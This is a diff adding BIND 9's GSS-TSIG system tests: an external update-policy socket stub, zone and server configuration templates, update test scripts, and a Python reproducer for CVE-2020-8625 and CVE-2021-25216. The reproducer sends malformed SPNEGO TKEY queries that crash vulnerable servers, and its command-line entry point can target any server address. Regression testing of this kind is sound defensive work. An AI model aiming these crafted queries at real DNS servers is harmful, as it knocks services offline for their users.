+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# test the update-policy external protocol
+
+require 5.6.0;
+
+use IO::Socket::UNIX;
+use Getopt::Long;
+
+my $path;
+my $typeallowed = "A";
+my $pidfile = "authsock.pid";
+my $timeout = 0;
+
+GetOptions("path=s" => \$path,
+ "type=s" => \$typeallowed,
+ "pidfile=s" => \$pidfile,
+ "timeout=i" => \$timeout);
+
+if (!defined($path)) {
+ print("Usage: authsock.pl --path=<sockpath> --type=type --pidfile=pidfile\n");
+ exit(1);
+}
+
+unlink($path);
+my $server = IO::Socket::UNIX->new(Local => $path, Type => SOCK_STREAM, Listen => 8) or
+ die "unable to create socket $path";
+chmod 0777, $path;
+
+# setup our pidfile
+open(my $pid,">",$pidfile)
+ or die "unable to open pidfile $pidfile";
+print $pid "$$\n";
+close($pid);
+
+# close gracefully
+sub rmpid { unlink "$pidfile"; exit 1; };
+$SIG{INT} = \&rmpid;
+$SIG{TERM} = \&rmpid;
+
+if ($timeout != 0) {
+ # die after the given timeout
+ alarm($timeout);
+}
+
+while (my $client = $server->accept()) {
+ $client->recv(my $buf, 8, 0);
+ my ($version, $req_len) = unpack('N N', $buf);
+
+ if ($version != 1 || $req_len < 17) {
+ printf("Badly formatted request\n");
+ $client->send(pack('N', 2));
+ next;
+ }
+
+ $client->recv(my $buf, $req_len - 8, 0);
+
+ my ($signer,
+ $name,
+ $addr,
+ $type,
+ $key,
+ $key_data) = unpack('Z* Z* Z* Z* Z* N/a', $buf);
+
+ if ($req_len != length($buf)+8) {
+ printf("Length mismatch %u %u\n", $req_len, length($buf)+8);
+ $client->send(pack('N', 2));
+ next;
+ }
+
+ printf("version=%u signer=%s name=%s addr=%s type=%s key=%s key_data_len=%u\n",
+ $version, $signer, $name, $addr, $type, $key, length($key_data));
+
+ my $result;
+ if ($typeallowed eq $type) {
+ $result = 1;
+ printf("allowed type %s == %s\n", $type, $typeallowed);
+ } else {
+ printf("disallowed type %s != %s\n", $type, $typeallowed);
+ $result = 0;
+ }
+
+ $reply = pack('N', $result);
+ $client->send($reply);
+}
diff --git a/bin/tests/system/tsiggss/clean.sh b/bin/tests/system/tsiggss/clean.sh
new file mode 100644
index 0000000..0ace209
--- /dev/null
+++ b/bin/tests/system/tsiggss/clean.sh
@@ -0,0 +1,28 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+#
+# Clean up after tsiggss tests.
+#
+
+rm -f ns1/*.jnl ns1/update.txt ns1/auth.sock
+rm -f ns1/*.db ns1/K*.key ns1/K*.private
+rm -f ns1/_default.tsigkeys
+rm -f */named.memstats
+rm -f */named.conf
+rm -f */named.run
+rm -f authsock.pid
+rm -f ns1/core
+rm -f nsupdate.out*
+rm -f ns*/named.lock
+rm -f ns*/managed-keys.bind*
diff --git a/bin/tests/system/tsiggss/ns1/administrator.ccache b/bin/tests/system/tsiggss/ns1/administrator.ccache
new file mode 100644
index 0000000..e6c2e74
--- /dev/null
+++ b/bin/tests/system/tsiggss/ns1/administrator.ccache
Binary files differ
diff --git a/bin/tests/system/tsiggss/ns1/dns.keytab b/bin/tests/system/tsiggss/ns1/dns.keytab
new file mode 100644
index 0000000..dcb863b
--- /dev/null
+++ b/bin/tests/system/tsiggss/ns1/dns.keytab
Binary files differ
diff --git a/bin/tests/system/tsiggss/ns1/example.nil.db.in b/bin/tests/system/tsiggss/ns1/example.nil.db.in
new file mode 100644
index 0000000..536ef29
--- /dev/null
+++ b/bin/tests/system/tsiggss/ns1/example.nil.db.in
@@ -0,0 +1,62 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0. If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+; -*- zone -*-
+; this was generated by a Samba4 provision, and is typical
+; of a AD DNS zone
+$ORIGIN example.nil.
+$TTL 1W
+@ IN SOA blu hostmaster (
+ 2010113027 ; serial
+ 2D ; refresh
+ 4H ; retry
+ 6W ; expiry
+ 1W ) ; minimum
+ IN NS blu
+
+ IN A 10.53.0.1
+;
+
+blu IN A 10.53.0.1
+gc._msdcs IN A 10.53.0.1
+
+fb33eb58-5d58-4100-a114-256e0a97ffc1._msdcs IN CNAME blu
+;
+; global catalog servers
+_gc._tcp IN SRV 0 100 3268 blu
+_gc._tcp.Default-First-Site-Name._sites IN SRV 0 100 3268 blu
+_ldap._tcp.gc._msdcs IN SRV 0 100 3268 blu
+_ldap._tcp.Default-First-Site-Name._sites.gc._msdcs IN SRV 0 100 3268 blu
+;
+; ldap servers
+_ldap._tcp IN SRV 0 100 389 blu
+_ldap._tcp.dc._msdcs IN SRV 0 100 389 blu
+_ldap._tcp.pdc._msdcs IN SRV 0 100 389 blu
+_ldap._tcp.d86745b4-f3e0-4af3-be03-2130d1534be8.domains._msdcs IN SRV 0 100 389 blu
+_ldap._tcp.Default-First-Site-Name._sites IN SRV 0 100 389 blu
+_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs IN SRV 0 100 389 blu
+;
+; krb5 servers
+_kerberos._tcp IN SRV 0 100 88 blu
+_kerberos._tcp.dc._msdcs IN SRV 0 100 88 blu
+_kerberos._tcp.Default-First-Site-Name._sites IN SRV 0 100 88 blu
+_kerberos._tcp.Default-First-Site-Name._sites.dc._msdcs IN SRV 0 100 88 blu
+_kerberos._udp IN SRV 0 100 88 blu
+; MIT kpasswd likes to lookup this name on password change
+_kerberos-master._tcp IN SRV 0 100 88 blu
+_kerberos-master._udp IN SRV 0 100 88 blu
+;
+; kpasswd
+_kpasswd._tcp IN SRV 0 100 464 blu
+_kpasswd._udp IN SRV 0 100 464 blu
+;
+; heimdal 'find realm for host' hack
+_kerberos IN TXT EXAMPLE.NIL
diff --git a/bin/tests/system/tsiggss/ns1/named.conf.in b/bin/tests/system/tsiggss/ns1/named.conf.in
new file mode 100644
index 0000000..1dfa49a
--- /dev/null
+++ b/bin/tests/system/tsiggss/ns1/named.conf.in
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+ query-source address 10.53.0.1;
+ notify-source 10.53.0.1;
+ transfer-source 10.53.0.1;
+ port @PORT@;
+ pid-file "named.pid";
+ session-keyfile "session.key";
+ listen-on { 10.53.0.1; 127.0.0.1; };
+ listen-on-v6 { none; };
+ recursion no;
+ notify yes;
+ tkey-gssapi-keytab "dns.keytab";
+};
+
+key rndc_key {
+ secret "1234abcd8765";
+ algorithm hmac-sha256;
+};
+
+controls {
+ inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+zone "example.nil." IN {
+ type primary;
+ file "example.nil.db";
+
+ update-policy {
+ grant Administrator@EXAMPLE.NIL wildcard * A AAAA SRV CNAME;
+ grant testdenied@EXAMPLE.NIL wildcard * TXT;
+ grant "local:auth.sock" external * CNAME;
+ };
+
+ /* we need to use check-names ignore so _msdcs A records can be created */
+ check-names ignore;
+};
diff --git a/bin/tests/system/tsiggss/ns1/testdenied.ccache b/bin/tests/system/tsiggss/ns1/testdenied.ccache
new file mode 100644
index 0000000..070e85b
--- /dev/null
+++ b/bin/tests/system/tsiggss/ns1/testdenied.ccache
Binary files differ
diff --git a/bin/tests/system/tsiggss/prereq.sh b/bin/tests/system/tsiggss/prereq.sh
new file mode 100644
index 0000000..20ae6b6
--- /dev/null
+++ b/bin/tests/system/tsiggss/prereq.sh
@@ -0,0 +1,23 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+SYSTEMTESTTOP=..
+. $SYSTEMTESTTOP/conf.sh
+
+# enable the tsiggss test only if gssapi was enabled
+$FEATURETEST --gssapi || {
+ echo_i "gssapi and krb5 not supported - skipping tsiggss test"
+ exit 255
+}
+
+exit 0
diff --git a/bin/tests/system/tsiggss/setup.sh b/bin/tests/system/tsiggss/setup.sh
new file mode 100644
index 0000000..3b07647
--- /dev/null
+++ b/bin/tests/system/tsiggss/setup.sh
@@ -0,0 +1,22 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+SYSTEMTESTTOP=..
+. $SYSTEMTESTTOP/conf.sh
+
+$SHELL clean.sh
+
+copy_setports ns1/named.conf.in ns1/named.conf
+
+key=`$KEYGEN -Cq -K ns1 -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS -n HOST -T KEY key.example.nil.`
+cat ns1/example.nil.db.in ns1/${key}.key > ns1/example.nil.db
diff --git a/bin/tests/system/tsiggss/tests.sh b/bin/tests/system/tsiggss/tests.sh
new file mode 100644
index 0000000..2d5dc8e
--- /dev/null
+++ b/bin/tests/system/tsiggss/tests.sh
@@ -0,0 +1,177 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# tests for TSIG-GSS updates
+
+SYSTEMTESTTOP=..
+. $SYSTEMTESTTOP/conf.sh
+
+status=0
+n=1
+
+DIGOPTS="@10.53.0.1 -p ${PORT}"
+
+test_update () {
+ num="$1"
+ host="$2"
+ type="$3"
+ cmd="$4"
+ digout="$5"
+
+ cat <<EOF > ns1/update.txt
+server 10.53.0.1 ${PORT}
+update add $host $cmd
+send
+answer
+EOF
+ echo_i "testing update for $host $type $cmd"
+ $NSUPDATE -g -d ns1/update.txt > nsupdate.out${num} 2>&1 || {
+ echo_i "update failed for $host $type $cmd"
+ sed "s/^/I:/" nsupdate.out${num}
+ return 1
+ }
+
+ # Verify that TKEY response is signed.
+ tkeyout=`awk '/recvmsg reply from GSS-TSIG query/,/Sending update to/' nsupdate.out${num}`
+ pattern="recvmsg reply from GSS-TSIG query .* opcode: QUERY, status: NOERROR, id: .* flags: qr; QUESTION: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; QUESTION SECTION: ;.* ANY TKEY ;; ANSWER SECTION: .* 0 ANY TKEY gss-tsig\. .* ;; TSIG PSEUDOSECTION: .* 0 ANY TSIG gss-tsig\. .* NOERROR 0"
+ echo $tkeyout | grep "$pattern" > /dev/null || {
+ echo_i "bad tkey response (not tsig signed)"
+ return 1
+ }
+
+ # Weak verification that TKEY response is signed.
+ grep -q "flags: qr; QUESTION: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1" nsupdate.out${num} || {
+ echo_i "bad tkey response (not tsig signed)"
+ return 1
+ }
+
+ out=`$DIG $DIGOPTS -t $type -q $host | grep -E "^${host}"`
+ lines=`echo "$out" | grep "$digout" | wc -l`
+ [ $lines -eq 1 ] || {
+ echo_i "dig output incorrect for $host $type $cmd: $out"
+ return 1
+ }
+ return 0
+}
+
+
+# Testing updates with good credentials.
+KRB5CCNAME="FILE:"`pwd`/ns1/administrator.ccache
+export KRB5CCNAME
+
+echo_i "testing updates to testdc1 as administrator ($n)"
+ret=0
+test_update $n testdc1.example.nil. A "86400 A 10.53.0.10" "10.53.0.10" || ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "testing updates to testdc2 as administrator ($n)"
+ret=0
+test_update $n testdc2.example.nil. A "86400 A 10.53.0.11" "10.53.0.11" || ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "testing updates to denied as administrator ($n)"
+ret=0
+test_update $n denied.example.nil. TXT "86400 TXT helloworld" "helloworld" > /dev/null && ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+
+# Testing denied updates.
+KRB5CCNAME="FILE:"`pwd`/ns1/testdenied.ccache
+export KRB5CCNAME
+
+echo_i "testing updates to denied (A) as a user ($n)"
+ret=0
+test_update $n testdenied.example.nil. A "86400 A 10.53.0.12" "10.53.0.12" > /dev/null && ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "testing updates to denied (TXT) as a user ($n)"
+ret=0
+test_update $n testdenied.example.nil. TXT "86400 TXT helloworld" "helloworld" || ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "testing external update policy (CNAME) ($n)"
+ret=0
+test_update $n testcname.example.nil. CNAME "86400 CNAME testdenied.example.nil" "testdenied" > /dev/null && ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "testing external update policy (CNAME) with auth sock ($n)"
+ret=0
+$PERL ./authsock.pl --type=CNAME --path=ns1/auth.sock --pidfile=authsock.pid --timeout=120 > /dev/null 2>&1 &
+sleep 1
+test_update $n testcname.example.nil. CNAME "86400 CNAME testdenied.example.nil" "testdenied" || ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "testing external update policy (A) ($n)"
+ret=0
+test_update $n testcname.example.nil. A "86400 A 10.53.0.13" "10.53.0.13" > /dev/null && ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "testing external policy with SIG(0) key ($n)"
+ret=0
+$NSUPDATE -k ns1/Kkey.example.nil.*.private <<END > /dev/null 2>&1 || ret=1
+server 10.53.0.1 ${PORT}
+zone example.nil
+update add fred.example.nil 120 cname foo.bar.
+send
+END
+output=`$DIG $DIGOPTS +short cname fred.example.nil.`
+[ -n "$output" ] || ret=1
+[ $ret -eq 0 ] || echo_i "failed"
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "ensure too long realm name is fatal in non-interactive mode ($n)"
+ret=0
+$NSUPDATE <<END > nsupdate.out${n} 2>&1 && ret=1
+ realm namenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamename
+END
+grep "realm is too long" nsupdate.out${n} > /dev/null || ret=1
+grep "syntax error" nsupdate.out${n} > /dev/null || ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "ensure too long realm name is not fatal in interactive mode ($n)"
+ret=0
+$NSUPDATE -i <<END > nsupdate.out${n} 2>&1 || ret=1
+ realm namenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamename
+END
+grep "realm is too long" nsupdate.out${n} > /dev/null || ret=1
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+[ $status -eq 0 ] && echo_i "tsiggss tests all OK"
+
+kill `cat authsock.pid`
+
+echo_i "exit status: $status"
+[ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py b/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py
new file mode 100755
index 0000000..6340b5a
--- /dev/null
+++ b/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py
@@ -0,0 +1,219 @@
+#!/usr/bin/python
+############################################################################
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+############################################################################
+
+"""
+A tool for reproducing ISC SPNEGO vulnerabilities
+"""
+
+import argparse
+import datetime
+import struct
+import time
+
+import pytest
+
+pytest.importorskip("dns")
+import dns.message
+import dns.name
+import dns.query
+import dns.rdata
+import dns.rdataclass
+import dns.rdatatype
+import dns.rrset
+
+
+class CraftedTKEYQuery:
+ # pylint: disable=too-few-public-methods
+
+ """
+ A class for preparing crafted TKEY queries
+ """
+
+ def __init__(self, opts: argparse.Namespace) -> None:
+ # Prepare crafted key data
+ tkey_data = ASN1Encoder(opts).get_tkey_data()
+ # Prepare TKEY RDATA containing crafted key data
+ rdata = dns.rdata.GenericRdata(
+ dns.rdataclass.ANY, dns.rdatatype.TKEY, self._get_tkey_rdata(tkey_data)
+ )
+ # Prepare TKEY RRset with crafted RDATA (for the ADDITIONAL section)
+ rrset = dns.rrset.from_rdata(dns.name.root, dns.rdatatype.TKEY, rdata)
+
+ # Prepare complete TKEY query to send
+ self.msg = dns.message.make_query(
+ dns.name.root, dns.rdatatype.TKEY, dns.rdataclass.ANY
+ )
+ self.msg.additional.append(rrset)
+
+ def _get_tkey_rdata(self, tkey_data: bytes) -> bytes:
+ """
+ Return the RDATA to be used for the TKEY RRset sent in the ADDITIONAL
+ section
+ """
+ tkey_rdata = dns.name.from_text("gss-tsig.").to_wire() # domain
+ if not tkey_rdata:
+ return b""
+ tkey_rdata += struct.pack(">I", int(time.time()) - 3600) # inception
+ tkey_rdata += struct.pack(">I", int(time.time()) + 86400) # expiration
+ tkey_rdata += struct.pack(">H", 3) # mode
+ tkey_rdata += struct.pack(">H", 0) # error
+ tkey_rdata += self._with_len(tkey_data) # key
+ tkey_rdata += struct.pack(">H", 0) # other size
+ return tkey_rdata
+
+ def _with_len(self, data: bytes) -> bytes:
+ """
+ Return 'data' with its length prepended as a 16-bit big-endian integer
+ """
+ return struct.pack(">H", len(data)) + data
+
+
+class ASN1Encoder:
+ # pylint: disable=too-few-public-methods
+
+ """
+ A custom ASN1 encoder which allows preparing malformed GSSAPI tokens
+ """
+
+ SPNEGO_OID = b"\x06\x06\x2b\x06\x01\x05\x05\x02"
+
+ def __init__(self, opts: argparse.Namespace) -> None:
+ self._real_oid_length = opts.real_oid_length
+ self._extra_oid_length = opts.extra_oid_length
+
+ # The TKEY RR being sent contains an encoded negTokenInit SPNEGO message.
+ # RFC 4178 section 4.2 specifies how such a message is constructed.
+
+ def get_tkey_data(self) -> bytes:
+ """
+ Return the key data field of the TKEY RR to be sent
+ """
+ return self._asn1(
+ data_id=b"\x60", data=self.SPNEGO_OID + self._get_negtokeninit()
+ )
+
+ def _get_negtokeninit(self) -> bytes:
+ """
+ Return the ASN.1 DER-encoded form of the negTokenInit message to send
+ """
+ return self._asn1(
+ data_id=b"\xa0",
+ data=self._asn1(
+ data_id=b"\x30",
+ data=self._get_mechtypelist(),
+ extra_length=self._extra_oid_length,
+ ),
+ extra_length=self._extra_oid_length,
+ )
+
+ def _get_mechtypelist(self) -> bytes:
+ """
+ Return the ASN.1 DER-encoded form of the MechTypeList to send
+ """
+ return self._asn1(
+ data_id=b"\xa0",
+ data=self._asn1(
+ data_id=b"\x30",
+ data=self._get_mechtype(),
+ extra_length=self._extra_oid_length,
+ ),
+ extra_length=self._extra_oid_length,
+ )
+
+ def _get_mechtype(self) -> bytes:
+ """
+ Return the ASN.1 DER-encoded form of a bogus security mechanism OID
+ which consists of 'self._real_oid_length' 0x01 bytes
+ """
+ return self._asn1(
+ data_id=b"\x06",
+ data=b"\x01" * self._real_oid_length,
+ extra_length=self._extra_oid_length,
+ )
+
+ def _asn1(self, data_id: bytes, data: bytes, extra_length: int = 0) -> bytes:
+ """
+ Return the ASN.1 DER-encoded form of 'data' to be included in GSSAPI
+ key data, designated with 'data_id' as the content identifier. Setting
+ 'extra_length' to a positive integer allows data length indicated in
+ the ASN.1 DER representation of 'data' to be increased beyond its
+ actual size.
+ """
+ data_len = struct.pack(">I", len(data) + extra_length)
+ return data_id + b"\x84" + data_len + data
+
+
+def parse_options() -> argparse.Namespace:
+ """
+ Parse command line options
+ """
+ parser = argparse.ArgumentParser()
+ parser.add_argument("--server-ip", required=True)
+ parser.add_argument("--server-port", type=int, default=53)
+ parser.add_argument("--real-oid-length", type=int, default=1)
+ parser.add_argument("--extra-oid-length", type=int, default=0)
+
+ return parser.parse_args()
+
+
+def send_crafted_tkey_query(opts: argparse.Namespace) -> None:
+ """
+ Script entry point
+ """
+
+ query = CraftedTKEYQuery(opts).msg
+ print("# > " + str(datetime.datetime.now()))
+ print(query.to_text())
+ print()
+
+ response = dns.query.tcp(query, opts.server_ip, timeout=2, port=opts.server_port)
+ print("# < " + str(datetime.datetime.now()))
+ print(response.to_text())
+ print()
+
+
+def test_cve_2020_8625(named_port):
+ """
+ Reproducer for CVE-2020-8625. When run for an affected BIND 9 version,
+ send_crafted_tkey_query() will raise a network-related exception due to
+ named (ns1) becoming unavailable after crashing.
+ """
+ for i in range(0, 50):
+ opts = argparse.Namespace(
+ server_ip="10.53.0.1",
+ server_port=named_port,
+ real_oid_length=i,
+ extra_oid_length=0,
+ )
+ send_crafted_tkey_query(opts)
+
+
+def test_cve_2021_25216(named_port):
+ """
+ Reproducer for CVE-2021-25216. When run for an affected BIND 9 version,
+ send_crafted_tkey_query() will raise a network-related exception due to
+ named (ns1) becoming unavailable after crashing.
+ """
+ opts = argparse.Namespace(
+ server_ip="10.53.0.1",
+ server_port=named_port,
+ real_oid_length=1,
+ extra_oid_length=1073741824,
+ )
+ send_crafted_tkey_query(opts)
+
+
+if __name__ == "__main__":
+ cli_opts = parse_options()
+ send_crafted_tkey_query(cli_opts)